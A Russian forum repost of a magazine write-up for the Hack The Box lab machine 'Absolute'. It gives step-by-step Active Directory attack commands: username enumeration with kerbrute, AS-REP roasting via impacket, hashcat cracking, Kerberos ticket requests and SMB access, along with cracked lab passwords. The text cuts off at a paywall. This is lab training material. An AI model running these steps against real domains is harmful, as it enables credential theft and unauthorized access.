Ques/Help/Req HTB Absolute. Атакуем Active Directory с повышением привилегий через KrbRelay

XakeR

Member
Регистрация
13.05.2006
Сообщения
1 912
Реакции
0
Баллы
16
Местоположение
Ukraine
В этом райтапе я покажу тебе множество приемов работы с Kerberos, начиная сканированием пользователей и заканчивая аутентификацией для доступа к разным службам. Завершим прохождение применением известной техники KrbRelayUp.

Наша цель — захват рута на тренировочной машине Absolute с площадки Hack The Box. Сложность прохождения оценена как «безумная». Тем интереснее оно будет!

warning​


Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.



Разведка​




Добавляем IP-адрес машины в /etc/hosts:

10.10.11.181 absolute.htb

И запускаем сканирование портов.

Справка: сканирование портов​


Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bashports=$(nmap -p- —min-rate=500 $1 | grep ^[0-9] | cut -d ‘/‘ -f 1 | tr ‘n’ ‘,‘ | sed s/,$//)nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер обнаружил много открытых портов, что типично для серверов с Windows:

  • 53 — служба DNS;
  • 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
  • 88 — служба Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC), используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — служба LDAP;
  • 445 — служба SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM;
  • 9389 — веб‑службы AD DS.

Ни одна служба не позволила пройти аутентификацию от имени пользователя guest, поэтому идем смотреть, что нам покажет веб‑сервер.

Главная страница сайта

Точка входа​


На сайте ничего интересного нет, но всегда стоит изучать метаданные всех приложенных файлов. На сайте нам доступны только картинки, берем любую из них (мне попалась под руку hero_5.jpg), скачиваем и проверяем метаданные.

exiftool hero_5.jpg Метаданные изображения

В поле автора явно имя пользователя! Скачиваем все доступные картинки и извлекаем оттуда имена. Интересно, что они все разные.

exiftool hero_*.jpg | grep Author Полученные имена пользователей

Так как на сервере активна служба Kerberos, мы можем перебрать имена пользователей. Kerberos имеет три разных варианта ответа в случае неверной аутентификации:

  • учетные данные неверны;
  • нет такого пользователя;
  • предварительная аутентификация не требуется.

При этом для каждого пользователя у нас есть имя и фамилия, поэтому я накидал простой скрипт, чтобы сгенерировать все возможные варианты имен учетных записей из представленных пар.

names = [«James Roberts», «Michael Chaffrey», «Donald Klay», «Sarah Osvald», «Jeffer Robinson», «Nicole Smith»]list = [«Administrator», «Guest»]for name in names: n1, n2 = name.split(‘ ‘) list.append(n1) list.append(n1+n2) list.append(n1+«.«+n2) list.append(n1+n2[0]) list.append(n1+«.«+n2[0]) list.append(n2[0]+n1) list.append(n2[0]+«.«+n1) list.append(n2) list.append(n2+n1) list.append(n2+«.«+n1) list.append(n2+n1[0]) list.append(n2+«.«+n1[0]) list.append(n1[0]+n2) list.append(n1[0]+«.«+n2)for n in list: print(n)

А теперь выполняем перебор имен пользователей с помощью утилиты kerbrute.

./kerbrute_linux_amd64 userenum —dc absolute.htb -d absolute.htb test_users.txt Результат перебора

Получаем список из семи существующих учетных записей. Я уже говорил, что есть вариант, при котором для учетной записи не требуется предварительная аутентификация. Давай просканируем наших пользователей с применением техники ASRep Roasting. Она позволяет получить пользовательский билет, из которого перебором можно извлечь пароль пользователя. Выполним данную атаку с помощью скрипта GetNPUsers из набора impacket.

impacket-GetNPUsers absolute.htb/ -no-pass -usersfile users.txt Результат ASRep Roasting

Чтобы перебрать хеш с помощью hashcat, нужно знать режим перебора. Его можно найти в справке hashcat.

hashcat —example | grep ‘krb5asrep’ -A2 -B12Справка hashcat

Теперь указываем режим 18200 и перебираем полученный хеш.

hashcat -a 0 -m 18200 klay_hash.krb5asrep rockyou.txt Результат взлома хеша

И получаем пароль пользователя D.Klay.



Продвижение​




Проверим полученные учетные данные, попытавшись подключиться к службе SMB с помощью универсального средства CrackMapExec.

crackmapexec smb 10.10.11.181 -u D.Klay -p Darkmoonsky248girl Результат подключения к службе SMB

Ничего не вышло, так как не работает NTLM-аутентификация. Поэтому используем аутентификацию Kerberos, для чего выписываем тикет с помощью скрипта getTGT из набора impacket. Не забываем выставить одинаковое время на клиенте и сервере. Чтобы не делать это вручную, можно автоматически синхронизировать время с помощью net time.

sudo timedatectl set-ntp falsesudo net time set -S 10.10.11.181 impacket-getTGT ‘absolute.htb/[email protected]:Darkmoonsky248girl’Получение тикета пользователя D.Klay

А теперь повторим подключение к SMB с аутентификацией Kerberos.

export KRB5CCNAME=[email protected] cme smb 10.10.11.181 -u D.Klay -d absolute.htb -k —kdcHost dc.absolute.htb Результат подключения к службе SMB

И снова неудача, хотя в ответе видим, что эта служба не прописана в билете. Пробуем подключиться к LDAP.

cme ldap 10.10.11.181 -u D.Klay -d absolute.htb -k —kdcHost dc.absolute.htb Результат подключения к службе SMB

Подключение успешное, и мы можем работать с LDAP. Первым делом запрашиваем всех пользователей. Это можно сделать, указав флаг —users.

cme ldap 10.10.11.181 -u D.Klay -d absolute.htb -k —kdcHost dc.absolute.htb —usersПользователи домена

В описании пользователя svc_smb, скорее всего, записан пароль. Выписываем билет для этой учетки и пробуем авторизоваться на SMB.

impacket-getTGT ‘absolute.htb/[email protected]:AbsoluteSMBService123!’export KRB5CCNAME=[email protected] impacket-smbclient [email protected] -k -no-passshares Общие каталоги SMB

Мы получили доступ к общему ресурсу домена.



Присоединяйся к сообществу «Xakep.ru»!​


Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

-60%

1 year​


9990 рублей 4000 р.


[TD]

1 month_r​


920 р.
[/TD]

Я уже участник «Xakep.ru»
 
198 175Темы
635 146Сообщения
3 618 415Пользователи
еу4уууеууеНовый пользователь
Верх